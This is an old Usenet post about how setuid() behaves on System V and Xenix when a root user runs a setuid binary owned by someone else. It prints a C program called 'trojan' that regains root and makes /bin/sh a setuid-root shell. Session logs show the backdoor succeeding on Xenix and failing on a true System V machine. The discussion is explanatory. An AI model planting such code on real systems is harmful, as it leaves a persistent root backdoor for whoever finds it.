System V.2.2 setuid() broken

[John F. Haugh II]

In article <1312 at basser.oz> boyd at basser.oz (Boyd Roberts) writes:
>System V setuid() is severly broken.  Here I am, _really_ root,
>but _effectively_ some dumb mortal (back in the _old_days_ root
>was not affected by setuid (gid) bits) and I can't set my real
>and effective uid to my real uid.  Surely some mistake.

yes, i RTFM'd and posted stupidity.  however, to make matters
worse, my supposedly SVID compliant Xenix kernel works as you
desire and allows one to slip in the piece of code i mentioned
with the expected consequences as i mentioned.

here is the script file from executing the code here on rpp386:

1 - #rpp386-> cat trojan.c 
#include <stdio.h>

main ()
{
	printf ("my effective uid == %d, my real uid == %d\n",
		geteuid (), getuid ());

	if (getuid () == 0) {
		puts ("i am being executed by root!!!");
		if (setuid (0) == -1)
			puts ("boohoo, couldn't set my EFFECTIVE uid to 0");

		printf ("i am now effectively %d, and really %d\n",
			geteuid (), getuid ());

		if (chown ("/bin/sh", 0, 0) == -1)
			puts ("boohoo, couldn't chown /bin/sh to root");

		if (chmod ("/bin/sh", 04711) == -1)
			puts ("boohoo, couldn't chmod /bin/sh to SUID");
	} else
		puts ("sigh, i am being executed by joe user");

	puts ("let's see what /bin/sh looks like now ...");
	fflush (stdout);
	system ("ls -l /bin/sh");
}
2 - #rpp386-> cc -o trojan trojan.c 
trojan.c
3 - #rpp386-> chown jfh trojan 
4 - #rpp386-> chmod 4711 trojan 
5 - #rpp386-> ls -l trojan 
-rws--x--x   1 jfh      root       11783 Jul 16 12:24 trojan
6 - #rpp386-> ls -l /bin/sh 
-rwx--x--x   2 bin      bin        45084 Jun 23  1987 /bin/sh
7 - #rpp386-> trojan 
my effective uid == 100, my real uid == 0
i am being executed by root!!!
i am now effectively 0, and really 0
let's see what /bin/sh looks like now ...
-rws--x--x   2 root     root       45084 Jun 23  1987 /bin/sh
8 - #rpp386-> exit 

okay, it works the way you want it to with the consequences i predicted.
now, here is the system i was thinking of, which is a real system v
machine:

1 - su-#pigs-> cc -o trojan trojan.c
2 - su-#pigs-> chown haugj trojan
3 - su-#pigs-> chmod 4711 trojan
4 - su-#pigs-> ls -l trojan
-rws--x--x   1 haugj    sys        23709 Jul 16 12:29 trojan
5 - su-#pigs-> ls -l /bin/sh
-rwxrwxr-x   1 bin      bin        59519 Jun 30  1987 /bin/sh
6 - su-#pigs-> trojan
my effective uid == 231, my real uid == 0
i am being executed by root!!!
boohoo, couldn't set my EFFECTIVE uid to 0
i am now effectively 231, and really 0
boohoo, couldn't chown /bin/sh to root
boohoo, couldn't chmod /bin/sh to SUID
let's see what /bin/sh looks like now ...
-rwxrwxr-x   1 bin      bin        59519 Jun 30  1987 /bin/sh
7 - su-#pigs-> exit

this has the results you can't stand, but doesn't allow one to have a
suid program suddenly do things it shouldn't.  i'm not certain what the
exact cause of this behavior is since i don't have the source to os/sys?.c
in front of my face at this moment.  but whatever it is, i like it and
think it is just as important as not including . in ones PATH as root.

the worst of the stupidity was claiming that because the euid wasn't
root the call would fail.  under the third paragraph, the call should
succeed as indeed it did on xenix.  (the manual is ``unix system
user's manual, release 5.0, june 1982.  the xenix manual has that as
paragraph four.)

the 7th edition manual was worse.  its description reads:

	The user ID (group ID) of the current process is set to the
	argument.  Both the effective and the real ID are set.
	These calls are only permitted to the super-user, unless the
	argument is the real ID.

- john.
-- 
John F. Haugh II                 +--------- Cute Chocolate Quote ---------
HASA, "S" Division               | "USENET should not be confused with
UUCP:   killer!rpp386!jfh        |  something that matters, like CHOCOLATE"
DOMAIN: jfh at rpp386.uucp          |             -- with my apologizes